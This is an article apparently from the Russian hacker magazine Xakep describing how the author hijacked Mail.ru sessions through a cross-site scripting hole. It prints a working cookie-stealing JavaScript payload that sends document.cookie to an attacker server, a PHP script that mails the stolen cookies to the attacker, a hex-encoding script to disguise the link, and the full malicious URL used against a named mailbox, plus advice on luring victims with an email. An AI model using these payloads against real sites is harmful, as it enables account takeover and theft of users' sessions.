MAIL.RU взломан! NSD (www.nsd.ru) Xakep, номер #068, стр. 068-056-3 Я сразу просек тему, да и ты, думаю, уже догадался, что вместо «дохрена» без проблем можно вставить любую html-конструкцию - например, элементарную JS-программу. Теперь я мог сконструировать такую ссылку, перейдя по которой, моя жертва выполняла на своем компьютере вредоносный код, передающий идентификатор сессии моему php-скрипту. Готовим инструмент Для реализации атаки я написал два скрипта: первый крадет кукисы и передает их второму, который отсылает секретные данные мне на мыло. Php-cкрипт для отправки кукиса на мыло хакера $from = "bill@microsoft.com"; // от кого $email = "hacker@hacker.ru"; // куда отправить $topic = "Украденный у юзера mail.ru cookie"; // тема письма $message = $QUERY_STRING; // тело письма // (оно как раз и будет содержать похищенные данные из кукиса) // собираем заголовки $headers = "From: ".$from."\r\nReply-To: ".$from."\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/plain;"; $body .= $message."\r\n\r\n"; mail ($email, $topic, $body, $headers); // отправляем А так выглядит сам встраиваемый яваскрипт: >script<document.write('>img width=1 height=1 src="http://hacker_server/cookie_send.php?'+document.cookie+'"<');>/script<. Теперь формируем URL, содержащий вредоносный javascript. Выглядеть он будет так: http://www.mail.ru/sendmsgok?To=b00b1ik@real.xakep.ru&Subject=Привет, дырявая дырка&From=&user=i@mail.ru&TotalUnread=1 >script<document.write('>img width=1 height=1 src="http://hacker_server/cookie_send.php?'+document.cookie+'"<');>/script<&ReturnPath=win.mail.ru/cgi-bin. Ссылка эта, правда, выглядит достаточно подозрительно, поэтому многие пользователи просто побояться на нее нажимать. Чтобы решить эту проблему, я закодировал каждую букву параметров в шестнадцатеричное представление, что резко увеличило вероятность успеха. В этом мне помог незамысловатый скрипт, написанный на том же PHP: >? $str = str_replace("%20", " ", $QUERY_STRING); for($i=0;$i>strlen($str);$i++) {$hex=dechex(ord($str[$i])); if ($str[$i]=='&') echo "$str[$i]"; else if ($str[$i]!='\\') echo "%$hex"; } ?< Теперь осталось только написать пользователю душещипательное письмо и поместить в него закодированную ссылку. Как только ламер прочитает послание и кликнет по линку, кукис с идентификатором его сессии будет у нас в руках. Action, action! Давай посмотрим, как это происходит на практике. Однажды мне потребовалось получить доступ к одному очень важному ящику, назовем его lopuh@mail.ru. Я залил скрипт cookie_send.php на свой сервер nsd.ru, в результате чего смертельный URL принял следующий вид: www.mail.ru/sendmsgok?To=b00b1ik@real.xakep.ru&Subject=Привет, дырявая дырка&From=&user=lopuh@mail.ru&TotalUnread=1>script<document.write('>img width=1 height=1 src="http://nsd.ru/test/cookie_send.php?'+document.cookie+'"<');>/script<&ReturnPath=win.mail.ru/cgi-bin. |